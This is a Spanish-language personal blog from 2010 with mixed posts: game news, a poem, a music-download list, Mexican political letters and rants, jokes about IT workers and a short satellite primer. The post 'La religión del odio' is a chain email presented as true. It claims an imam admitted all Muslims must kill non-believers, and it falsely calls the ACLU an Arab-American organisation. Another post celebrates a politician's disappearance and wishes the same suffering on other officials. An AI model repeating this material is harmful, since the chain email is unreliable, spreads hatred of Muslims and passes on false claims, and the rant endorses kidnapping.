Blog de mgl que mas dá? el chiste es escribirlo!

Wings of liberty

julio 29

Por algunos sabido que el 27 de julio fue el lanzamiento de Starcraft II, mucho se espera de este juego y yo no puedo esperar mas para tenerlo, la beta que baje no me permitio correrlo por no tener el codigo una version anterior, rayos! si tan solo recordara donde deje los cd´s del pack que años atras adquiri, bueno, uno siempre encuentra la manera y solo es cuestion de tiempo para estarlo jugando, claro que si se ponen dificiles las cosas, bien vale la pena pagar los 59 euros.

En breve les estare notificando que tal estuvo, por cierto, aprovecho la ocasion para vestir este blog (temporalmente) del alusido tema.

saludos a todos alla afuera

Días de lluvia

julio 1

En estos días de lluvia con sus humedos olores me hacen recordar un poco y otro tanto.
Me imagino a ti y a mi aquí y alla, momentos tristes y felices, sin hacer otra cosa mas que ser y estar.
Ahora pienso en cada gota de lluvia como una lagrima y en una llovizna como el llanto que extravié alguna vez.
Quizá las gotas de hoy que me mojan mientras recorro esta calle  sean las lágrimas de quienes viven en ese lugar sombrio, quizá las gotas que me siguen empapando, mientras sigo caminando, sean de aquellos seres, que sienten en las venas, el olor a tierra mojada.

MSK para descargar

junio 22

Para los que no estan familiarizados con lo que esta sucediendo con este listado, he aqui lo sucedido: administrando las particiones del servidor, elimine donde tenia la musica, asi que me he puesto a descargar nuevamente las discografias perdidas, por ello convoque a la opinion publica para hacer llegar sus sugerencias siguiendo el listado que abajo ven, tambien podran observar el avance del mismo, este trabajo solo se realiza de madrugada, pues es cuando se puede aprovechar el ancho de banda del trabajo, jeje.

Bien, pueden hacer sus aportaciones comentarios y sugerencias, y si son gustos de venir por una copia de dicho material, ya saben donde encontrarme, saludos 😀

Artista Seed Standby Progress Complete
4 Non Blondes x x x x
A Perfect Circle x x x x
Abraham Laboriel        
Ace of Base x x x x
Alanis Morrissette x x x x
Alejandro Filio        
Alejandro Sanz x x x x
Alice in Chains x x x x
Armando Palomas x x    
Arturo Sandoval        
Audioslave x x x x
Bela Fleck        
Blur x x x x
Bob Dylan x x    
Bob Marley & the Wailers x x x x
Bud Powell        
Buddy Richie        
Buenavista Social Club x x x x
Café del Mar        
Cake x x x x
Charles Mingus        
Charlie Parker        
Chicago        
Chick Corea        
Clifford Brown        
Coldplay x x x x
Counting Crows x x x x
Creed  x x x x
Creedence        
Daft Punk        
Dave Mathew´s Band x x x x
Dave Weckl        
Depeche Mode x x x x
Dido        
Dolores O´Riordan        
Drem Theater        
Ella Baila Sola        
Enanitos Verdes        
Enrique Bunbury        
Fernando Delgadillo        
Fito Paez        
Foo  Fighters x x    
Funkadhelic        
Gian Marco        
Grateful Dead        
Guns n Roses x x x x
Hush        
Incubus x x x x
Jack Johnson x x    
Jaco Pastorius        
Jannis Joplin        
Jhony Cash        
Jimi Hendrix x x x x
Joan Osborne        
Joaquin Sabina        
Joshua Reedman        
Joss Stone x x x x
Keane x x x x
King Crimson        
La Mosca x x x x
Laura Paussini        
Led Zeppelin x x x x
Lifehouse x x x x
Linda Perry        
Liquid Soul        
Liquid Tension Experiment x x x x
Los Autenticos Decadentes x x x x
Los Fabulosos Cadillacs x x x x
Madredeus        
Maldita Vecindad x x x x
Maná x x x x
Massive Attack x x x x
Matchbox x x x x
Max Roach        
Metallica x x x x
Michael Jackson x x    
Miles Davis        
Mitote Jazz        
Morphine        
Natalie Imbruglia x x x x
Nick Cave x x x x
Nickelback x x x x
Nine Inch Nails x x    
Nirvana x x x x
No Doubt x x x x
No Te Va A Gustar x x x x
Norah Jones x x x x
Oasis x x x x
Office of Strategic Influence        
Orlando «Cachaito» Lopez        
Pearl Jam x x    
Pink Floyd        
Placebo x x x x
Portishead x x x x
Potato Valdez        
Presuntos Implicados x x x x
Procol Harum x x x x
Puddle Of Mud x x x x
R.E.M. x x x x
Radiohead x x x x
Rage Against the Machine x x x x
Red Hot Chili Peppers x x x x
Rush x x x x
Ryan Adams x x x x
Santa Sabina        
Save Ferris x x x x
Sevendust x x x x
Sheryl Crow        
Silvio Rodriguez        
Soda Estereo        
Sonic Youth x x x x
Soundgarden x x x x
Spyro Gyra        
Staind x x x x
Stanton Moore        
Steel Pulse        
Sting        
Stonte Temple Pilots x x x x
Sum 41 x x x x
The Beatles x x    
The Cardigans x x x x
The Cranberries x x x x
The Cure x x    
The Doors x x    
The Killers x x x x
The Proclaimers x x x x
The Rasmus        
The Rippingtones        
The Roots        
The Wallflowers x x x x
The White Stripes x x x x
The Yellowjackets        
Thelonius Monk        
Toad the Wet Sprocket        
Tool x x    
Tower Of Power        
Tracy Chapman x x    
Transatlantic        
U2 x x    
Van Halen x x x x
Velvet Revolver x x x x
Yanni x x x x
Zoe x x  x

Que esperan? orale! a sugerir!! jeje

Carta a Aguirre

junio 21

No tengo el gusto de conocer al señor Armando Ortiz, pero creo que habemos millones de el. La carta que le escribe al DT de la Seleccion Mexicana, me permito citarla:

Señor Aguirre, soy Armando Ortiz y no amo a México; al menos no a este México de su Iniciativa.

Señor Aguirre en respuesta a su spot sobre Iniciativa México debo decirle que trato de entender a este país y me detengo en su historia y me parece que, como dijo José Alfredo Jiménez, nada nos han enseñado los años, siempre caemos en los mismos errores. Nos han hecho creer que las revoluciones las hemos logrado los mexicanos, pero no, México cuando lucha no es México, es un grupo de hombres de poder que viendo afectado su patrimonio le da machetes, palos y piedras a sus peones para que se levanten en armas y vayan a luchar contra el enemigo, contra su enemigo. Si no fuera así, después de un 1810 no se hubiera necesitado un 1910 y hoy día es tan urgente una revolución en 2010 para equilibrar tanta injusticia, tanta corrupción, tanta mentira, tanto cinismo, tanta involución.

Señor Aguirre, no somos ese país democrático que usted cree, somos un país gobernado por una oligarquía, por una plutocracia que no va a dejar el poder en manos de este pinche pueblo jodido, como usted calificó en una entrevista en España; la democracia en México es una utopía, es decir, no hay tal lugar.

Señor Aguirre, no podemos ser un gran país ni seguro ni próspero y mucho menos justo mientras esos grandes intereses estén por encima del bien común. Mientras gente como usted se preste a legitimar las intenciones de esos grandes intereses.

Si bien usted dice que es hora de soñar, yo creo que es hora de despertar, es hora de quitarnos de encima el pie de esos que nos han estado oprimiendo desde hace muchas décadas. Tampoco somos un país de fracasados. No somos la selección nacional, ni seremos mejores si su equipo gana todos los partidos del Mundial. No somos fracasados y no necesitamos del éxito de 11 jugadores para sentirnos exitosos. Y eso es porque en cada familia hay una historia de éxito que va más allá de la sobrevivencia. El padre que logra inculcar a su hijo la honestidad y la decencia, la madre que acepta a la hija a pesar de sus tres meses de embarazo, los amigos que siguen visitando al enfermo de Sida, los hermanos que se siguen reuniendo en casa de la madre, que siguen viendo por sus padres, que no se olvidan de la educación de sus hijos. Ahí están las historias de éxito, no en los goles que la selección pueda anotar a sus adversarios.

Luchamos por sacar adelante nuestra causa, que por cierto, hace rato ha dejado de ser México, ese país que vive secuestrado; nuestra causa, que no es la suya, ni la de Televisa que le paga por dar esos mensajes, ni la del gobierno federal que lo cobijará de ahora en adelante como a un héroe; claro, a menos que la selección pierda, cosa muy posible por cierto.

Señor Aguirre no es cierto que vivamos en el país del “si se puede”, tampoco es cierto que vivamos en el país del “ya se pudo”, en realidad vivimos en el país del “no nos dejan”. No nos dejan precisamente esos que se sentaron el día lunes 7 de junio para presentar la Iniciativa México, el gran proyecto que habrá de cambiar la historia de nuestro país.

Señor Aguirre, ¿cómo espera que creamos que ellos quieren cambiar México cuando son precisamente ellos los que deberían cambiar? Ellos han hecho de nuestro país su hacienda y de los medios de comunicación una tienda de raya ideológica. Antes que pedirnos a nosotros que transformemos a este país, pida a ellos que dejen de pensar que somos parte de la herencia que les dejaron sus padres. Ahí estaba Emilio Azcárraga Jean quien apoyó con todas sus huestes el fraude electoral del 2006. Ahí estaba Mario Vázquez Raña, ¿no lo vio?, cagándose de la risa, codeando a Rogelio Azcarraga, dueño de esa ramera llamada Telefórmula, quienes ni siquiera guardaron respeto cuando estaba hablando un muchacho que con voz tartajeante intentaba definirnos lo que es la asistencia social. Ahí estaba Aguilar Camín, ese mercenario de la cultura, ahí estaba Salinas Pliego a quien en Estados Unidos lo tienen como delincuente fiscal; ahí estaba el hijo de Olegario Vázquez Raña, el amigo y socio de los hijos de Martha Sahagún; ahí estaban todos esos medios, corifeos del poder, como un séquito de putas. En realidad no somos nosotros los que debemos cambiar, son ellos los que necesitan transformarse de empresarios a personas.

Señor Aguirre, ahora, ¿quiere que creamos que con un reality show de buenas intenciones se puede cambiar al país? ¿Serán los cinco proyectos ganadores los que habrán de cambiar el rumbo de México? ¿Es esa su incipiente Revolución? ¿Usted también cree que con seis millones de pesos se van a solucionar los problemas de este país? 10 veces esa cantidad llevaban en relojes y joyas los que se sentaron a formar el Consejo Consultivo. 

Para terminar señor Aguirre, quiero decirle que Iniciativa México es el equivalente a los palos, piedras y machetes que los hacendados daban a sus peones y con eso los lanzaban a la Revolución. Este país no va a hacer una revolución con esos palos y piedras ideológicas. Lo mejor sería que cada uno de esos empresarios, que dicen tener buenas intenciones, cumpla con sus obligaciones fiscales. Sólo eso sería un gran avance para este país; que esos que se disfrazan de buenas gentes pagaran sus impuestos y no anduvieran haciendo Teletones o Juguetones para conseguir dinero y con eso evadir al fisco. No necesitamos de una Iniciativa México para sacar adelante a este país, lo que se requiere es la iniciativa propia de cada uno de nosotros.

A todos los mexicanos les digo, es cierto, es tiempo de hacer historia, es nuestro año 2010. No nos dejemos engañar. Vamos a mandar a la chingada a todos esos medios que se valen de nuestra buena fe para lograr sus oscuros objetivos. Vamos a darles de una buena vez la espalda.

Y a ustedes los de Iniciativa México les digo, no nos quieran ver otra vez la cara, ya nos han chingado bastante, ahora vayan y chinguen a su madre.

 

Armando Ortiz

Dia del Padre

junio 21

Hay una importancia inmensurable en ser un buen Papá. Un Papá, en los ojos de un niño toma el rol de un héroe, un profesor, un amigo, un líder, y el más cercano amor de su preciada madre.

Para un niño, el conocimiento de un papá es sagrado e in-paralelo a cualquier otro individuo.

Depende de cada uno de nosotros, como papás, de pasarles nuestro conocimiento, experiencias, y sabiduría a nuestros hijos. Es especialmente crucial que no les pasemos las viejas ignorancias.

Lo que instilemos en nuestros hijos será la base en la cual ellos instruirán su futuro.

Piensa, por un momento, acerca del futuro de tu hijo… piensa en donde tú visualices lo que será de tu hijo en 20 años… ¿Qué clase de persona será? ¿Qué es, lo que aprendieron de ti? ¿Qué es lo que les difundiste? ¿Qué es lo que no le has difundido que te gustaría que tu hijo aprendiera?

Hoy es un nuevo día. Cada día que despertamos como papás es otra oportunidad de hacer lo que es correcto. Cada día es otra oportunidad para afectar a nuestros hijos positivamente y al hacerlo, mejoramos nuestro mundo.

Así que no solamente te deseo un Feliz Día Del Padre pero también te desafío a que seas el mejor papá que puedas ser.

No sólo lo lleves a cabo – dedícate a ser un buen papá con tanta pasión que inspires a otros que hagan lo mismo.

Establece un estándar.

¡Hazlo hoy!

Quizá lo merecemos

junio 6

Somos un país donde lo único que vale es el dinero, nada más. Y no importa cómo lo hayas hecho, si lo robaste o lo trabajaste, da igual, me caes bien si me invitas unas chelas. Si tienes una cuenta bancaria con muchos ceros a la derecha no vas a la cárcel aunque seas un asesino. Y si, por el contrario, los ceros están a la izquierda, te encierran años por un Gansito y un Boing que te llevaste sin pagar para engañar a las células que piden proteínas. Producimos riqueza suficiente para los 109 millones de mexicanos, pero sólo el 6 por ciento la acumula, un 44 por ciento es esclavizado de por vida y el 50 por ciento restante, que se joda.

Receta de convivencia

junio 4

Yo apenas la estoy cocinando, se ve muy buena, no es una receta sencilla, pero vale la pena

1 kilogramo de risas infantiles
2 tazas de cariño
2.5 kilogramos de esperanza
…100 gramos de ternura
5 latas de confianza
40 paquetes de alegría
1 pizca de locura
10 kilogramos de paciencia

  • Preparación
  • Limpia los recuerdos, quitandoles las partes hechadas a perder o que no sirvan.
  • Agregale una a una las sonrisas hasta formar una pasta suave y dulce.
  • Ahora añade las esperanzas y permite que repose, hasta que doble el tamaño.
  • Lava con agua cada uno de los paquetes de alegría, partelos en pequeños pedacitos y mezcla con todo el cariño que encuentres.
  • Aparte, incorpora la paciencia, la pizca de locura y la ternura cernida.
  • Divide en porciones iguales todo el amor y cúbrelos con la mezcla anterior.
  • Hornealas durante toda tu vida en el horno de tu corazón.
  • Disfrútalas siempre con toda tu familia…

Itinerario Político – El odio contra Diego

junio 3

De las 76706 lecturas que hasta el momento ha provocado este articulo http://www.eluniversal.com.mx/columnas/83944.html, esta es solo una opion mas.

 Pues no aparece, y yo creo que como diría Don Teofilito NI APARECERA.

Parece efectivamente mas un mensaje de la mafia al estilo de Jimmy Hoffa que ninguna otra cosa.

Harán valer el principio básico EL TERROR; el golpe más fuerte que le pueden dar a los políticos, es que el tal diego nunca aparezca, ni vivo ni muerto.

Y muy merecido que suceda esto, se lo tienen nuestros políticos, ¿No fue hace poco que hicieron su reunión del gabinete de seguridad con sus caras de que preocupados estamos, donde Martí exigió «Si no pueden renuncien»?

Y donde Marcelo con cara muy formal dijo ¡le agarro la palabra!

¿Su famoso plan de Resultados en 100 días?

¿Qué cambio? NADA

Solo legislaciones cada vez más estúpidas para hostigar al ciudadano de a pie.

O me van a decir que el registro de celulares, las tarjetas de circulación, y mil idioteces más que aguantamos cada día por parte de nuestros explotadores (me rehúso a llamarlos gobernantes) sirvieron de algo para evitar esto.

El día de hoy DFC está pasando, por lo que paso Silvia Vargas, Fernando Martí, los niños del news divine, las muertas de Juárez, el ingeniero Belmar, los niños asesinados en el retén militar, los muchachos del Tec, y los cientos de miles de ciudadanos de a pie que han padecido secuestros exprés, extorsiones telefónicas, robos de autos y asesinatos por quitarles el celular o 50 pesos.

Y en todos lados veo la misma pregunta tarada y fuera de lugar. «SI ESO LE PASÓ AL JEFE DIEGO, ¿QUE PUEDEN ESPERAR LOS CIUDADANOS COMUNES?»

Para todos aquellos que escriben semejante estupidez.

No es, que podemos esperar los ciudadanos comunes; se trata de lo que por décadas HEMOS TENIDO QUE PADECER los ciudadanos comunes. Abusos del crimen organizado y de las autoridades; ineficacia y leyes estúpidas.

Explicaciones cada día más cínicas e imbéciles, desde declaraciones de SON LOS MENOS, hasta SE AHOGÓ SOLITA CON SUS SÁBANAS.

Los políticos están espantados porque la alcantarilla de mierda que desatendieron por décadas al fin reventó, y les acaba de manchar los zapatos.

Así pues a la consternación de Vicente Fox, al fugitivo Felipe Calderón, al advenedizo de Marcelo Ebrard que ahora si «quiere ayudar» les contesto lo que le diría al tal Jefe Diego.

Cuando pudieron hacer algo por este cáncer que desde hace demasiado tiempo nos tiene ahogados en terror, no quisieron hacer nada, no se quejen de que ahora aplaudamos que ustedes vivan lo mismo.

Ahí está la frase del peje en la primera marcha por la inseguridad «Son un montón de Pirrurris«, a la frase de Marcelo Ebrard cuando una familia estaba pagando un rescate de un secuestro exprés en el Ángel mientras transcurría la segunda marcha por la inseguridad
«Habrá que ver si es cierto»

O el comentario del gordito de Bucareli «Son los menos»

A todos ellos les deseo que pronto experimenten en carne propia lo que los ciudadanos, aquellos a quienes deben servir hemos vivido por décadas.

Y les digo, no esperen ninguna simpatía ni apoyo míos o de -creo yo- varios millones de mexicanos. Ustedes nos abandonaron primero; no esperen apoyo de parte de nosotros, y no se sorprendan de que tantos de nosotros estemos felices de que ¡por fin! estén empezando a vivir en carne propia aquello por lo que tantos de nosotros hemos pasado.

Claro al ser uno de los suyos, sacan al ejército a buscarlo, y mandan hasta aviones y helicópteros, si es un ciudadano común: Tiene que esperar 72 horas para poder hacer la denuncia, de seguro anda de parranda, no se apure.

Así pues a todos aquellos que están preocupados porque el tal Diego no aparece les contesto:

  • Espérense 72 horas para hacer su denuncia, ha de andar de parranda.
  • No importa, es solo un pirrurris.
  • Habrá que ver si es cierto que desapareció.
  • Es de los menos.
  • De seguro se cayó debajo del asiento de la camioneta y se ahogó con los tapetes del carro.
  • Fue un ajuste entre Narcos.
  • Cayó en un fuego cruzado entre Narcos y Militares.
  • Hay que hacer un registro nacional de Tijeras, con huella digital, identificación retinal y huella de ADN

Como los 100 millones de mexicanos hemos hecho por décadas ¡RÁSQUENSE CON SUS PROPIAS UÑAS!

La religión del odio

mayo 31

La religión musulmana es la que más crece en número en los Estados Unidos, especialmente en los grupos minoritarios.

El mes pasado asistí a una clase de entrenamiento requerida para mantener mi status de seguridad en el departamento de prisiones del Estado.

Durante la reunión hubo una presentación por tres disertantes, uno Católico, uno Protestante y uno Musulmán, quienes explicaron sus creencias.

Me interesaba sobre todo, lo que el Imán islámico diría. El Imán hizo una completa y gran presentación de las bases del Islam, incluido vídeos.

Después de las presentaciones, se concedió tiempo para preguntas y respuestas.

Cuando llegó mi turno pregunté al Imán:

“Por favor, y corríjame si me equivoco, pero entiendo que la mayoría de imanes y clérigos del Islam, han declarado la Yihad (guerra santa) contra los infieles del mundo. De modo que matando a un infiel, que es una orden para todos los musulmanes, tienen asegurado un lugar en el cielo. Si así fuera el caso… ¿ Puede usted darme una definición de infiel? ”

Sin discutir mis palabras, contestó con seguridad:

“ Son los no creyentes ”.

Contesté:

“ Permítame asegurarme que le entendí bien. A todos los seguidores de ALÁ, le ha sido ordenado matar a todo el que no es de su fe para poder ir al cielo? ¿Es correcto? ”

La expresión de su cara cambió de una autoridad a la de un chico con la mano en la lata de galletas. Vergonzosamente. Contestó:

“Así es ”

Agregué:

“ Pues bien, señor, tengo un verdadero problema tratando de imaginar al Papa Benedicto ordenando a todos los católicos matar a todos los de su fe islámica, o al Dr. Stanley ordenando a los protestantes hacer lo mismo, para ir al cielo ”.

El Imán quedó mudo.

Continué:

“ También tengo problema con ser su amigo, cuando usted y sus colegas dicen a sus pupilos que me maten. ¿Preferiría usted a su Alá, que le ordena matarme para ir al cielo, o a mi Jesús que me ordena amarlo para que yo vaya al cielo y quiere que usted me acompañe? ”

Podías oír la caída de un alfiler cuando el Imán inclinó avergonzado su cabeza.

Con nuestro sistema de justicia liberal, y por presión del ACLU (organización árabe americana), este diálogo no será publicado. Ruego lo haga circular por toda su lista de direcciones.

Rick Mathes
Capellán de Prisiones EE.UU.

Un agradecimiento

mayo 27

a Evan Eckard por la creacion de este diseño y el permiso para modificarlo (para cuando tenga tiempo de hacerlo)

😀

Con cual te identificas?

mayo 24

Auto compacto (se define como bocho, pointer, matiz, etc): es aquel hombre q es ahorrativo, no se preocupa por el que diran, casi siempre son licenciados, vendedores, que andan parriba y pabajo
Auto taxi (tsuru jjja) : aque l hombre q posee un tsuru o es taxista o lo compro creyendo la leyende de «NUNCA TAXI»
Autos familiares y camionetas viajeras (vans, suburban, lanchotas) hombre resignado a la vida que l toco ya que su auto esta lleno de cosas de niños , estampas de barney en el tablero y cristales y un sticker de bebe a bordo, viajan siempre… y cargan hasta con la suegra
Auto deportivo: existen dos tipos el real deportivo y al que lo hacen deportivo: quien trae un coche deportivo es un junior, un señor de lana que piensa que con eso van a levantar nenas (aveces pasa) y el que lo hacen deportivo: poner spoiler, luces neon, luz negra, sonido, calcas de rapido y furioso, tapas tipo rin cromadas, eso a un tsuru verde mayate no lo hace deportivo.
Auto de lujo: ahi nada mas hay de dos sopas o eres chofer del auto, o eres un ricachon que todo mundo te tiene envidia
Auto clasico o antiguo: si tienes uno de estos : o eres jodido y no te puedes comprar uno nuevo, o te gusta restaurar autos, lo tratas mejor que tu vieja , lo enceras, le cuidas de el sol, dices que es el mejor de todos.
Auto todo terreno: eres un rebelde, no te importa si hay topes, hoyos, banquetas, intimidas a la gente mostrando tus llantotas, mirandolos hacia abajo y aventandoles el auto sabiendo que te tienen miedo y te dejaran pasar, nunca lo lavas, solo cuando llueve y buscas cualquier charco para meterte, si llueve eres el unico que quiere salir.
Auto utilitario: jajaja lo usas para (estar con tu vieja, ponerte pedo con los cuates, de basurero, para guardar los libros, para cambiar a la abuelita, para vender frituras afuera de las escuelas, etc etc.
Motocicleta: tambien hay de dos o eres repartidor de dominos y cobrador o vendes la lechee…… ó eres un aventurero que te gusta la velocidad y sentir el aire contaminado de la ciudad, estas dispuesto a sufrir caidas y raspones.
Camionetas: se identifica aquel que es empresario, constructor, narco, o de la CFE. y andas diciendo siempre (y la cheyeene apaaaa)

¡Lo que hacemos por ser Informaticos!

mayo 17

 1. Cuando el ingeniero de sistemas le diga que acude en su ayuda, desconéctese de la red y vaya por un café. No nos espere, para nosotros no es ningún problema acordarnos de todos las claves de usuario. Ademas de que nos encanta llegar y que no haya nadie.

2. Cuando nos llame para decirnos que cambiemos su computador de sitio, asegúrese de que lo deja bien enterrado bajo media tonelada de postales, fotos de sus niños, animales de toda clase, flores secas, trofeos varios, etc. A nosotros, como no tenemos vida privada, nos encanta echar un vistazo a la suya.

3. Cuando el ingeniero de sistemas le envíe un correo electrónico de importancia alta, bórrelo inmediatamente sin leer: Lo más probable es que estemos haciendo pruebas.

4. Cuando el ingeniero de sistemas esté almorzando, entre sin ninguna consideración y explíquele sus problemas esperando a que se le responda en el acto. Estamos aquí para servirle y siempre a punto para solucionar problemas.

5. Cuando el ingeniero de sistemas esté tomando un café tranquilamente, pregúntele algo acerca de los computadores. La única razón por la que nos vamos a tomar café, es para atender a las personas que no tienen correo electrónico o teléfono.

6. Mande todos sus mensajes en mayúsculas. El servidor de correo lo recogerá inmediatamente y lo tratará como mensaje urgente.

7. Cuando llame al teléfono del ingeniero de sistemas, pulse el número 5 para saltarse el mensaje que le dice que está de vacaciones y grabe su mensaje. Entonces, espere exactamente 24 horas antes de mandar un correo electrónico directamente a su jefe quejándose de que no ha recibido ninguna respuesta a su llamada. Usted no se merece este trato.

8. Cuando la fotocopiadora no funcione, llame al ingeniero de sistemas. Al fin, la fotocopiadora tiene cables, ¿no?

9. Cuando su módem le dé el mensaje: ‘No hay tono de marcado’, en casa, llame al ingeniero de sistemas. Podemos solucionar problemas de la compañía telefonónica desde donde sea.

10. Cuando su computador no funcione, tírelo encima de la silla del ingeniero de sistemas y no deje ningún papel con su nombre ni la descripción del problema. Nos encanta el misterio.

11. Cuando el ingeniero de sistemas le esté explicando cómo cambiar algún parámetro de su configuración o como operar algún equipo, póngase a leer el periódico, atienda a la demás gente, voltee a otro lado o súbale al radio. De hecho, no esperamos que usted tenga que hacer nada, simplemente nos encanta oírnos a nosotros mismos cuando explicamos algo.

12. Cuando le demos alguna explicación sobre algún programa, no se moleste en aprender ni mucho menos tome apuntes. Siempre estaremos ahí para volver a hacerlo.

13. Cuando la impresora no imprima, reenvíe su trabajo al menos 20 veces. A veces los trabajos que intenta imprimir desaparecen en el cosmos sin razón aparente.

14. Cuando la impresora no imprima tras los 20 intentos, envíe su trabajo a todas las demás impresoras de la empresa. Seguro que alguna imprimirá. Si ninguna impresora lo imprime, llámenos con mucho enojo, a nosotros nos encanta ir a encender impresoras.

15. No use la ayuda que viene en los programas. Estas ayudas on-line sólo son para muy brutos. Y si nos ve alguna vez usarlos nosotros, es que a veces somos muy brutos.

16. Cuando vaya a tomar algún curso de informática, no dude en practicar con la red de la empresa e instalar y probar todo lo que desee. Estaremos encantados de trabajar hasta la madrugada para arreglar todos los estragos que usted cause.

17. Cuando lleguemos a reparar su computador y esté usted comiendo, deguste con calma su almuerzo en nuestra cara. Funcionamos mejor bajo presión.

18. Nunca nos dé las gracias ni mucho menos nos pregunte: ¿Cuánto le debo?. Nos encanta nuestro trabajo y, además nos encanta regalarlo.

19. Cuando el ingeniero de sistemas le pregunte si ha instalado algún nuevo programa en su computador, mienta. ¡A nadie le importa lo que usted tiene en su PC!

20. Si el cable de su ratón siempre tira el gatito de porcelana que tiene usted encima de la mesa, levante el computador y pise el cable con él. Los cables de ratón están diseñados para aguantar 80 kilos de peso.

21. Si la tecla {Enter} de su teclado no funciona, échele la culpa a la actualización del correo electrónico. No se le ocurra que es porque esta sucio, ya que los teclados funcionan mucho mejor con medio kilito de migas de galleta, cabellos y manchas secas de Coca Cola debajo de las teclas.

22. Cuando el sistema le muestre la típica ventana de ‘Está usted seguro…’, conteste siempre que ‘Sí’ o ‘Aceptar’. ¿Si no estuviera usted seguro no lo habría borrado, verdad?

23. Siéntase completamente libre para decir ‘No tengo ni idea acerca de esta mierda de informática’. A nosotros nunca nos ha molestado que la gente diga que nuestra profesión es una mierda.

24. Cuando necesite cambiar el cartucho de toner, llame al ingeniero de sistemas. El cambio de cartucho es una tarea extremadamente complicada y Epson recomienda que solamente la realice un ingeniero con una maestría en hardware.

25. Cuando le suceda algo a su computador, pida a su secretaria (si la tiene) que nos llame, si no tiene secretaria, pidale a quien pase enfrente pero nunca nos llame usted mismo. A los que trabajamos en un Soporte Tecnico nos encanta tener que tratar con una tercera persona que no tiene ni idea de cuál es su problema.

26. Cuando escanee la foto de su última parranda, de 30 megas, a tope de colores y resolución, envíela a todo el mundo a través de su correo electrónico y, por supuesto, indique alta prioridad. Tenemos montooooones de megas libres en el servidor y un procesador del carajo.

27. Cuando tenga que imprimir chorro cientos mil folios, no se le ocurra ir imprimiendo de poco en poco: ¡Mándelos todos de una vez! Los demás pueden esperar, usted tiene prioridad.

28. Cuando se encuentre por casualidad a su ingeniero de sistemas durante el fin de semana, no dude en hacerle preguntas acerca de computadores. Nosotros trabajamos 24 horas al día, 7 días a la semana, incluida la playa en verano, la nieve en invierno, supermercados, cines, domingos y dias festivos, etc.

29. Si sus hijos estudian informática, tráigalos el fin de semana a la oficina. Ahí estaremos para prestarles cualquier equipo, reparar su base de datos de Access hecha trizas por su copia ilegal de Visual Basic, etc.

30. Cuando nos traiga su computador clónico de casa para que se lo reparemos gratis, por favor recuérdenos que es urgente para que por la tarde pueda usted jugar al solitario. ¡Ahí estaremos! Nos sobra tanto tiempo, y el día es tan largo. De todas formas, ¡todo el mundo sabe que perdemos constantemente el tiempo navegando por Internet!

31. Cuando necesite la ayuda del ingeniero de sistemas para hacer una presentación, no se afane, puede pasarla unas pocas horas antes. ¿Acaso no sabe que podemos hacer milagros? 

32. Si alguna vez quiere mandar un correo electrónico de 10megas a través de un servidor que solo permite máximo 2megas, no lo piense y envíelo muchas muchas veces, en alguna de esas tiene que caber. Si por alguna razón no lo manda, llámenos a nuestra casa ¡¡no importando que sea de madrugada!! Nosotros debemos de poder resolver los problemas de los correos gratuitos.

33. Cuando su computador ya no encienda, no nos lo mande a nosotros que terminamos la carrera de Ingeniería Informática, sino lleveselo a su sobrino que estudia computación en la secundaria. El debe de saber ya que eso estudia. Además, a nosotros nos encanta resolver los problemas que causa la gente que no tiene ni la menor idea de que significa “hardware”. ¡¡Es problema de computación, no de ingles!!

34. Cuando nos visite, pidanos que le copiemos en un disquete, la ultima canción del grupo de moda o el último video que acaba de sacar su artista favorito. Nosotros lo debemos de tener, es nuestra obligación. Y si no lo tenemos, enojese con nosotros, ¿a caso mp3 no es de computación?

35. Si el video que quiere si lo tenemos, pero no cabe en un disquete, enojese, insúltenos e incluso hasta golpeenos, ¡¡porque ha de caber!!

36. Si por algún “error del computador” o “error del Ingeniero de Sistemas” su hijo de 16 años tiene en sus favoritos paginas pornográficas, es su deber y esta en su derecho de molestarse con nosotros y de creer que nosotros se los pasamos. Porque su hijo es incapaz de eso, además, las páginas pornográficas estaban en la computadora.

37. No dude en interrumpirnos a la hora de la comida, y hacernos viajar 15 kilómetros para ir a instalarle el papel a su impresora urgentemente. El papel solo puede ser instalado por Ingenieros Profesionales. Y si se nos ocurre cobrarle, no nos pague, ¡¡porque nos va a pagar si poner el papel es de lo mas sencillo!!

38. Nunca, nunca, nunca, ni por error, se le vaya a ocurrir leer los manuales de instalación, ni mucho menos el de operación de su equipo que acaba de comprar. Si no sabe como encenderlo simplemente ¡¡llámenos!!

39. Cuando opere algún programa nuevo y no sabe como, llámenos, nosotros debemos de saber operar todos los programas que existen en el mundo, incluso el que acaba de bajar del Internet que esta en Arameo Antiguo. Nosotros le debemos dar soporte, aunque no sepamos ni una maldita palabra de Arameo.

40. Nunca compre Ud. Las licencias de sus programas que utiliza, siempre pidanos que le regalemos una copia, usted no tiene porque pagar los derechos de uso si ya los pagamos nosotros.

41. Si su hijo le mete monedas a la unidad de disquetes o se cuelga de la charola del CDROM o la usa de portavasos y lo rompe, o la golpea o cualquier cosa que le haga que la dañe, ¡reclamenos con todo derecho! Eso lo debe de cubrir la garantia.

42. Siempre diganos que ese mismo equipo que le ofrecemos lo tiene la tienda “x” mucho mas barato, aunque no sea cierto, nos encanta que nos comparen.

43. Nunca le haga mantenimiento preventivo a su equipo. Eso no sirve de nada, es solo un pretexto de nosotros para sacarle dinero.

Ah, ¡y discúlpenos por ser Informaticos

Curso rápido de satélites.

mayo 17

1) Los satelites para transmision de TV (y otras cosas) se ubican en la orbita geoestacionaria, a aprox. 36000km de altitud (42000km de radio), de modo que orbiten la Tierra una vez cada 24 horas y parezca que estan fijos sobre un punto.

2) Cada satelite tiene en promedio unos 20 transponders (algunos mas, algunos menos), por lo general cada uno de estos transmite unsolo canal de TV aunque pueden ir mas; si la transmision es digital, sobre, todo.

3) Cada satelite dispone de varias antenas, tanto para recepcion como para transmision, no necesariamente apuntadas en la misma direccion.

4) Los diversos transponders pueden estar utilizando diferentes antenas, para enviar o recibir sen~ales a o de ubicaciones geograficas distintas

5) Esta cobertura puede ser puntual, local o global, segun el ancho del haz de la antena. Por ejemplo, una que emita un haz concentrado en una localidad se considera puntual, una que transmita para un pais se considera local (o regional) y una que transmita a todo el continente o ambos hemisferios es global.

6) Dentro de la zona de cobertura de un haz, la potencia es maxima logicamente al centro, luego va disminuyendo conforme se aleja del centro. Esta disminucion no se da en forma de circulos concentricos sino irregular.

